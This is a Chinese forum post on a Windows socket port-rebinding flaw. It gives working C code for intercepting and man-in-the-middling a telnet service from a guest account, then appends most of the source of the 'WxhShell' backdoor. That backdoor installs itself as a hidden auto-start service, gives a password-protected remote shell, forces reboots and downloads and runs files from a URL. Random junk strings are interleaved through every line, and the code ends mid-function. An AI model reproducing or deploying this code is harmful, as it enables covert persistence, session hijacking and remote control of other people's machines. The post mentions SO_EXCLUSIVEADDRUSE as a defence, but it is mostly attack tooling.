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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (dGM;Dq8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E-7a`S  
D,m&^P=%e  
  saddr.sin_family = AF_INET; X<@y*?D9D  
,sRrV $,"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )sz 2 9  
66Cj=n5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L3h xe]mr  
=^%Pwkz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hjm .Ath  
(Db*.kd8,  
  这意味着什么?意味着可以进行如下的攻击: VUg~[  
(<:rKp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !_/8!95  
y1jGf83  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t"Vr;0!{  
EL)/5-=S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l52n/w#qFB  
<EMLiiNY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?'8MI|*l%  
aaa#/OWQZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /9vMGef@  
59%f|.Z)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s+\qie  
\Kzt*C-ZH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4d3]pvv  
?T%K +  
  #include ( _F  
  #include lDX&v$  
  #include +h\W~muR  
  #include     kAe-d  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~"4vd 3  
  int main() z6>ZV6(d2^  
  { \"sSS.'  
  WORD wVersionRequested; *"9)a6T t+  
  DWORD ret; eABdy e  
  WSADATA wsaData;  6O|\4c;  
  BOOL val; ur"e F  
  SOCKADDR_IN saddr; $d"f/bRWy  
  SOCKADDR_IN scaddr; 1 069]  
  int err; qKb- aP-  
  SOCKET s; !kk %;XSZ  
  SOCKET sc; gm%bxr@X~  
  int caddsize; Y_ ;i  
  HANDLE mt; x#}eC'Q  
  DWORD tid;   576-X _a,  
  wVersionRequested = MAKEWORD( 2, 2 ); AB|VO4-?  
  err = WSAStartup( wVersionRequested, &wsaData ); p(b1I+!  
  if ( err != 0 ) { (A<sFw?  
  printf("error!WSAStartup failed!\n"); 0tm "kzy  
  return -1; 2KNKdV3NK  
  } HZQ3Ht3Vh  
  saddr.sin_family = AF_INET; @ 6VH%  
   }SvWC8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OTjryJ^  
:\= NH0M  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r(xlokpnb6  
  saddr.sin_port = htons(23); (R|FQdH  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CFrHNU  
  { )k%drdY{J'  
  printf("error!socket failed!\n"); z%gtV'  
  return -1; 1#X= &N  
  } ^1& LHrT  
  val = TRUE; "jN-Yd,z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ';T5[l,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]TZWFL-  
  { M$hw(fC|m1  
  printf("error!setsockopt failed!\n"); ..]X<  
  return -1; ^HN  
  } [ BC%$Sj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )LMuxj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #WmAkzvq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t=\[J+  
b)`#^uxxJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9h0,L/;\  
  { u|*| RuY  
  ret=GetLastError(); `g:^KCGMM  
  printf("error!bind failed!\n"); tVh4v#@+  
  return -1; dcTM02kEh  
  } oHFDg?Z`  
  listen(s,2); Z.OrHg1  
  while(1) .p*D[o2 9  
  { -3%)nV  
  caddsize = sizeof(scaddr); <|.! Px86  
  //接受连接请求 vrO$8* sy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,( kXF:  
  if(sc!=INVALID_SOCKET) {-]HYk  
  { FveK|-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A VG`r2T  
  if(mt==NULL) NHVx!Kc  
  { *RE-K36m|u  
  printf("Thread Creat Failed!\n"); |[7$) $  
  break; F?AfB[PM  
  }  p:>?  
  } +=04X F:  
  CloseHandle(mt); ITY!=>S-  
  } Hh=::Bi  
  closesocket(s); 4O"kOEkKT>  
  WSACleanup(); >{) #|pWU  
  return 0; Z/UVKJm>:  
  }   YhK/pt43C  
  DWORD WINAPI ClientThread(LPVOID lpParam) ){|Lh(  
  { %1+~(1P  
  SOCKET ss = (SOCKET)lpParam; N}<U[nh'  
  SOCKET sc; tZ24}~da  
  unsigned char buf[4096]; KK3xz*W0  
  SOCKADDR_IN saddr; T@.m^|~  
  long num; naCI55Wx  
  DWORD val; z"C(#Y56 x  
  DWORD ret; 72.IhBNtT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DH*|>m&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x9 L\"  
  saddr.sin_family = AF_INET; . pEeR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dnc!=Z89  
  saddr.sin_port = htons(23); )7mJ+d[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @[Qg}'i  
  { l0 :xQV`  
  printf("error!socket failed!\n"); s-S"\zX\D  
  return -1; /1 %0A  
  } -2Cf)>`v  
  val = 100; QjbPBk Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vX24W*7  
  { <a}|G1 h  
  ret = GetLastError(); zd]L9 _  
  return -1; ^G<M+RF2J  
  } fB}5,22  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'ZgW~G]S  
  { ;//q jo  
  ret = GetLastError(); )L("t  
  return -1; U>jk`?zW  
  } 3;gtuqwD$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [zd-=.:+M[  
  { 3YF]o9  
  printf("error!socket connect failed!\n"); ~?+m=\  
  closesocket(sc); =9MH  
  closesocket(ss); m;1 exa  
  return -1; \uIC<#o"N  
  } 5i&V ~G  
  while(1) )O(Gw-jWE  
  { 3<E$m *  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .]l2)OlLQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ci:QIsu*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Gnq~1p5^  
  num = recv(ss,buf,4096,0); `W S  
  if(num>0) Ot<!YM  
  send(sc,buf,num,0); LA0x6E+I  
  else if(num==0) @= 9y5r  
  break; p5BcDYOw`  
  num = recv(sc,buf,4096,0); /YR $#&N2  
  if(num>0) f|E'eFrFk  
  send(ss,buf,num,0); 0~+:~$VrT  
  else if(num==0) /T'nY{  
  break; bG?[":k  
  } GQNiBsV  
  closesocket(ss); P6'I:/V  
  closesocket(sc); +:Zi(SuS]  
  return 0 ; X;RI7{fW%X  
  } ^/,yZ:  
mmK_xu~f28  
tTamFL6  
========================================================== AtYYu  
Tr!X2#)A!  
下边附上一个代码,,WXhSHELL N^at{I6C  
@SB+u+mOS  
========================================================== r\`m[Q  
A+8b] t_k  
#include "stdafx.h" ~'mhC46d  
,Ou)F;r  
#include <stdio.h> EHjhe z  
#include <string.h> !!>G{  
#include <windows.h> bm?TMhC  
#include <winsock2.h> g"f^YEQ_  
#include <winsvc.h> \OH:xW~  
#include <urlmon.h> [RuY'  
ajr8tp'  
#pragma comment (lib, "Ws2_32.lib") 4!|ar?Zy  
#pragma comment (lib, "urlmon.lib") @SXgaWr  
^Y |s^N  
#define MAX_USER   100 // 最大客户端连接数 =c 4U%d2  
#define BUF_SOCK   200 // sock buffer ~`.%n7  
#define KEY_BUFF   255 // 输入 buffer |XZf:}q5:  
[%Xfl7;Wh  
#define REBOOT     0   // 重启 9$i`B>C~  
#define SHUTDOWN   1   // 关机 ; & +75n  
5}ah%  
#define DEF_PORT   5000 // 监听端口 Dh<e9s:  
cxdM!L; `  
#define REG_LEN     16   // 注册表键长度 (5 hu W7v  
#define SVC_LEN     80   // NT服务名长度 _=#mmZkq  
58,mu#yq6  
// 从dll定义API H0 t1& :  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OwUbm0)h^V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B\yid@e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Yd'ke,Je  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [8#l~ |U  
Qg=~n:j  
// wxhshell配置信息 .}s a2-  
struct WSCFG { WH*&MIjAr/  
  int ws_port;         // 监听端口 SF7 Scd  
  char ws_passstr[REG_LEN]; // 口令  v<W++X7z  
  int ws_autoins;       // 安装标记, 1=yes 0=no \PJ89u0  
  char ws_regname[REG_LEN]; // 注册表键名 iL<O|'be  
  char ws_svcname[REG_LEN]; // 服务名 } d6^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 471}'3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X.qKG0i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p10->BBg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no + >j_[O5Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g=Jfp$*[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DK;-2K  
g= 8e.Y*Fr  
}; ?Fu.,srt  
5N0H^  
// default Wxhshell configuration j/&7L@Y  
struct WSCFG wscfg={DEF_PORT, XlPy(>  
    "xuhuanlingzhe", .rHO7c,P~  
    1, x`&W[AA4  
    "Wxhshell", 5 B6:pH6e  
    "Wxhshell", (B5G?cB9  
            "WxhShell Service", L\I/2aiE  
    "Wrsky Windows CmdShell Service", ~MF. M8  
    "Please Input Your Password: ", 4<|]k?@  
  1, 2z:9^a/]Na  
  "http://www.wrsky.com/wxhshell.exe", qS>el3G  
  "Wxhshell.exe" A\>qoR!Y  
    }; R}FN6cH  
X*@S j;|m  
// 消息定义模块 ; V8 =B8w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sKtH4d5)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >b0}X)Z+U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RWYA`  
char *msg_ws_ext="\n\rExit."; ="4)!  
char *msg_ws_end="\n\rQuit."; L 'y+^L|X  
char *msg_ws_boot="\n\rReboot..."; %o>1$f]  
char *msg_ws_poff="\n\rShutdown..."; q_bB/   
char *msg_ws_down="\n\rSave to "; 7JbrIdDl|  
=zdRoXBY[b  
char *msg_ws_err="\n\rErr!"; u}$3.]-.?T  
char *msg_ws_ok="\n\rOK!"; kmwFw>#  
$v,_8{ !  
char ExeFile[MAX_PATH]; xp = ]J UQ  
int nUser = 0; n7vi@^lf(  
HANDLE handles[MAX_USER]; hdzaU&w  
int OsIsNt; p6p_B   
h1$,  
SERVICE_STATUS       serviceStatus; pB`<4+"9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *P>F# ~X  
u56cT/J1  
// 函数声明 c{[WOrA~#  
int Install(void); K2JS2Y]  
int Uninstall(void); H|]Q;,C  
int DownloadFile(char *sURL, SOCKET wsh); x\WKsc  
int Boot(int flag); J c*A\-qC.  
void HideProc(void); LvS`   
int GetOsVer(void); bA:abO  
int Wxhshell(SOCKET wsl); SX#ATf6#  
void TalkWithClient(void *cs); 8l6R.l  
int CmdShell(SOCKET sock); 1QThAFN  
int StartFromService(void); :7gIm|2"]  
int StartWxhshell(LPSTR lpCmdLine); {8eNQ-4I  
sqhM[u k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gwyz)CUkL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {.v+ iSM  
K\#+;\V  
// 数据结构和表定义 h1xYQF_`Z  
SERVICE_TABLE_ENTRY DispatchTable[] = W>.qGK|l  
{ ==& =3  
{wscfg.ws_svcname, NTServiceMain}, F{v+z8nW  
{NULL, NULL} NeYj[Q~xy  
}; o&zeOJW  
#~"jo[  
// 自我安装 WE\V<MGS/  
int Install(void) ?o2L  
{ C.eZcNJG  
  char svExeFile[MAX_PATH]; ,xGkE7=5  
  HKEY key; FKPI{l  
  strcpy(svExeFile,ExeFile); 9kcAMk1K  
i -+B{H  
// 如果是win9x系统,修改注册表设为自启动 HQ"D>hsuU  
if(!OsIsNt) { *&7Av7S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @<_4Nb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qSON3Iid  
  RegCloseKey(key); ^vUdf.n9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~e|~c<!z8@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |#k1a:  
  RegCloseKey(key); Hly$ Wm  
  return 0; Tw$lakw  
    } ~%cbp&s*/q  
  } E$gcd#rT  
} 9i n&\  
else { b1-JnEc  
l&zd7BM9(  
// 如果是NT以上系统,安装为系统服务 xRb-m$B}L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E=7~\7TE  
if (schSCManager!=0) ^j@,N&W:lG  
{ HA| YLj?|g  
  SC_HANDLE schService = CreateService CQS34&G$a  
  ( dLLF#N  
  schSCManager, )!'SSVaRs  
  wscfg.ws_svcname, ds`a6>746  
  wscfg.ws_svcdisp, bV}43zI.  
  SERVICE_ALL_ACCESS, vI4St;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Lf3:' n  
  SERVICE_AUTO_START, cJ&%XN  
  SERVICE_ERROR_NORMAL, :WE(1!P@  
  svExeFile,  QHOem=B  
  NULL, J?HYN%  
  NULL, }{s<!b  
  NULL, : -OHD#>%  
  NULL, bEbnZ<kz*  
  NULL =F6J%$  
  ); t68h$u  
  if (schService!=0) bX8Bn0#a+  
  { +`zM^'^$  
  CloseServiceHandle(schService); Ie4}F|#=  
  CloseServiceHandle(schSCManager); &{99Owqg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U)2\=%8  
  strcat(svExeFile,wscfg.ws_svcname); jvA]EN6$;~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HKV]Rn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lCDXFy(E  
  RegCloseKey(key); (h%!Kun  
  return 0; T0i_X(_  
    } *:wu{3g}M`  
  } 0Db#W6*^  
  CloseServiceHandle(schSCManager); zgV{S Qo  
} Drz#D1-2  
} Z':}ZXy]  
iphe0QE[#}  
return 1; x,pzX(  
} a8''t_Dp  
lIz"mk  
// 自我卸载 pno]B ld'z  
int Uninstall(void) xDm^f^}>  
{ =JY9K0S~  
  HKEY key; J"# o #~  
&jr'vS[b  
if(!OsIsNt) { F|9 W7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qn_*(CSp  
  RegDeleteValue(key,wscfg.ws_regname); *s} dtJ  
  RegCloseKey(key); "9aiin  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mJp)nF8r~  
  RegDeleteValue(key,wscfg.ws_regname); <GT&q <4w  
  RegCloseKey(key); -:&qNY:Vp  
  return 0; /aP4'U8ov  
  } Y;G+jC8   
} N^H~VG&D(  
} ?"\X46Gz;  
else { B[}#m'Lv  
1jO}{U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pbt/i+!  
if (schSCManager!=0) @Pb!:HeJE  
{ U:"E:Bxz;m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *%bQp  
  if (schService!=0) [kaj8  
  { =y.?=`"  
  if(DeleteService(schService)!=0) { 0x*L"HD  
  CloseServiceHandle(schService); F6`$5%$M;?  
  CloseServiceHandle(schSCManager); 8K=sx @l  
  return 0; gq\ulLyOeZ  
  } $n.oY5=\  
  CloseServiceHandle(schService); XDRw![H,~  
  } CvS}U%   
  CloseServiceHandle(schSCManager); Z(k7&^d  
} ;rC)*=4#  
} NBU[>P  
\$LrL  
return 1; E]/` JI'%  
} S2T~7-  
&;I=*B~kE$  
// 从指定url下载文件 n$&xVaF|  
int DownloadFile(char *sURL, SOCKET wsh) ;H}XW=vO  
{ R9%Um6  
  HRESULT hr; (pJ-_w' G  
char seps[]= "/"; )%FRBO]  
char *token; C7:;<<"P  
char *file; _Z'[-rcXWh  
char myURL[MAX_PATH]; w a7)  
char myFILE[MAX_PATH]; os 9X)G  
8K$q6V%#  
strcpy(myURL,sURL); lC):$W  
  token=strtok(myURL,seps); gJz~~g'  
  while(token!=NULL) ;w--fqxVl  
  { x=s=~cu4,  
    file=token; jzt$  
  token=strtok(NULL,seps); $ReoIU^<  
  } no ).70K  
#[=%+*Q  
GetCurrentDirectory(MAX_PATH,myFILE); v 9\2/B  
strcat(myFILE, "\\"); T$)N2]FE  
strcat(myFILE, file); i^ `]TOP  
  send(wsh,myFILE,strlen(myFILE),0); ^FJ .C|l(  
send(wsh,"...",3,0); F-0|&0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /a@gE^TM  
  if(hr==S_OK) jG~zpZh  
return 0; Y_S>S( 0  
else oS.fy31p  
return 1; fR]%:'2k  
(nL''#Ka  
} @'XxMO[Z!<  
*>"k/XUn$  
// 系统电源模块 a8$gXX-2  
int Boot(int flag) R{N9'2l:  
{ w=Cq v~  
  HANDLE hToken; `q":i>FP2  
  TOKEN_PRIVILEGES tkp; 9b88):[qO  
BTi:Bcv k  
  if(OsIsNt) { vOMmsU F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EdgcdSb7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lyZ[t PS  
    tkp.PrivilegeCount = 1; ! 3&_#VO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; afE`GG-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *|97 g*G(  
if(flag==REBOOT) { fjGY p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J)yNp,V  
  return 0; /8](M5X]f  
} 5BWO7F0v"  
else { v uP.V#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SI-G7e)3;>  
  return 0; H!uB&qY  
} 'a1%`rzm  
  } @-9u;aL  
  else { HH`G/(a  
if(flag==REBOOT) { (rDB|kc^7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >U?U ;i  
  return 0; rwYlg:  
} %UV'HcO/gp  
else { BM6 J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @!;EW R]  
  return 0; 0C3s  
} I"AgRa  
} 7NG^I6WP-  
6@N?`6Bt  
return 1; D H}gvV  
} D`|.%  
#A&(b}#:o  
// win9x进程隐藏模块 fYv= yP~  
void HideProc(void) F?>rWP   
{ ~QVN^8WPg  
\*24NB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <0?h$hf4c  
  if ( hKernel != NULL ) 7J:zIC$u>  
  { @#wBK3Ut^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Tno[LP,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1#o>< ?  
    FreeLibrary(hKernel); 7soiy A  
  } 9t`   
 Xn<~ln  
return; #:C?:RMS  
} SiBhf3   
=Tdh]0  
// 获取操作系统版本 5|I2  
int GetOsVer(void) e7fA-,DV  
{ A$w0+&*=  
  OSVERSIONINFO winfo; $8k QM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Mwm=r//  
  GetVersionEx(&winfo); j9sK P]w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?hW?w$C  
  return 1; IO, kGUS  
  else i Eh -  
  return 0; >%vw(pt  
} T!GX^nn*O  
Z33&FUU  
// 客户端句柄模块 1O<Gg<<,e  
int Wxhshell(SOCKET wsl) 5)%bnLxn  
{ GoVB1)  
  SOCKET wsh; G'*_7HD  
  struct sockaddr_in client; WGxe3(d  
  DWORD myID; [8T  
fa~u<m   
  while(nUser<MAX_USER) 3M/iuu  
{ eh@6trzp=  
  int nSize=sizeof(client); H*SEzVb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *)PCPYB^  
  if(wsh==INVALID_SOCKET) return 1; (6Ssk4  
vkQ81PEt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +@:$7m(V  
if(handles[nUser]==0) LdSBNg#3  
  closesocket(wsh); .iDxq8l  
else vSu|!Xb]  
  nUser++; BseK?`]U"  
  } %]~XbO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K2= `.  
pI__<  
  return 0; I(i/|S&^  
} i{['18Q$F3  
OK=lp4X  
// 关闭 socket 8XwZJ\5  
void CloseIt(SOCKET wsh) "X\|!Mxh  
{ X)-9u8  
closesocket(wsh); .I6:iB  
nUser--; "K.XoG4|  
ExitThread(0); N k~Xz  
} $Vu %4kq  
a!`b`r -4  
// 客户端请求句柄 1KH]l336D"  
void TalkWithClient(void *cs) RC[b+J,q  
{ t>W^^'=E  
SAuZWA4g[  
  SOCKET wsh=(SOCKET)cs; 76Drhh(  
  char pwd[SVC_LEN]; tb%u<jY  
  char cmd[KEY_BUFF]; NT qtr="  
char chr[1]; aD2+9?m  
int i,j; Jd].e=]pN  
{I/|7b>@r  
  while (nUser < MAX_USER) { rZ.,\ X_  
kh11Y1Q0d  
if(wscfg.ws_passstr) { w|~d3]BqT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a6UW,n"n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6usy0g D  
  //ZeroMemory(pwd,KEY_BUFF); ,I(PDlvtM  
      i=0; ZcTxE]Y  
  while(i<SVC_LEN) { #g ;][  
_h@s)"  
  // 设置超时 Hh/Z4`&yi  
  fd_set FdRead; 5if4eitS  
  struct timeval TimeOut; ]6W;~w%  
  FD_ZERO(&FdRead); F vJJpPS  
  FD_SET(wsh,&FdRead); (}$~)f#s  
  TimeOut.tv_sec=8; 6mawcK:7  
  TimeOut.tv_usec=0; "E? 8. `T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )gO=5_^u*o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >a5M:s)  
>e]46 K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iQrTEp  
  pwd=chr[0]; r_sZw@lqJ  
  if(chr[0]==0xd || chr[0]==0xa) { a@1 r3az  
  pwd=0; HA +EuQE"  
  break; oD5VE  
  } c=S-g 9J  
  i++; 9J"Y   
    } $6~ \xe=  
5H+S=  
  // 如果是非法用户,关闭 socket  R~jV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o_2mSD!  
} }]-SAM  
?[[K6v}q{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4JF8S#8B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ri,8rf0u  
owYSR?aG  
while(1) { M6ol/.G[  
*`}4]OGv.  
  ZeroMemory(cmd,KEY_BUFF); 6Y#-5oE u/  
Vrz6<c-'B  
      // 自动支持客户端 telnet标准   Q77iMb]  
  j=0; NW}kvZ  
  while(j<KEY_BUFF) { YNGG> ;L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sa V]6/|  
  cmd[j]=chr[0]; u>~G)lx%  
  if(chr[0]==0xa || chr[0]==0xd) { Cm4$&?  
  cmd[j]=0; X%S9 H^9  
  break; N XAP=y3  
  } .3(=U Q  
  j++; >E;&SX  
    } =y3gnb6  
w|6;Pf~1y)  
  // 下载文件 jGB2`^&d  
  if(strstr(cmd,"http://")) { >R5qhVYFb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PB !\r}Q  
  if(DownloadFile(cmd,wsh)) 'o2V}L'nG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IN? A`A  
  else 97H2hYw9l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |51z&dG  
  } )^&,[Q=i  
  else { cZ(7/Pl  
 b;!oPT  
    switch(cmd[0]) { st;.Po[h  
  Fm\ h883\  
  // 帮助 Dh*>361y-  
  case '?': { GHQa{@m2V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #S[:Q.0 ;  
    break; 1goK>=-^  
  } J~Gq#C^e  
  // 安装 h[()!\vBy  
  case 'i': { F,^<  
    if(Install()) []K5l%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M5C}*c9  
    else PVAs# ~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {7`eR2#Wq  
    break; MB<oWH[e)  
    } RH,(8.&>r  
  // 卸载 urT!?*g,  
  case 'r': { `pp"htm   
    if(Uninstall()) >@b7 0X!J]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &[BDqi  
    else UQl3Tq4QM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !<"H73?fl  
    break; -9"hJ4  
    } f-5vE9G3y7  
  // 显示 wxhshell 所在路径 .tB[8Y=J  
  case 'p': {  D7%`hU  
    char svExeFile[MAX_PATH]; S3-3pJ]~Zk  
    strcpy(svExeFile,"\n\r"); [YT"UVI  
      strcat(svExeFile,ExeFile); C7%+1w'D8  
        send(wsh,svExeFile,strlen(svExeFile),0); +p =n-  
    break; XUU l*5^  
    } w < p  
  // 重启 &6/# O  
  case 'b': { xz dqE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iMnp `:*  
    if(Boot(REBOOT)) mA5xke_)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zJ42%0g  
    else { JLT ^0wBB  
    closesocket(wsh); rj"oz"  
    ExitThread(0); _20nOg`o  
    } #vJDb |z  
    break; &Y"u*)bm  
    } "}PaMR]  
  // 关机 D_,}lsrb  
  case 'd': { -#v1b>ScY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `gq@LP"o  
    if(Boot(SHUTDOWN)) 3_(fisvx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n!mtMPH$  
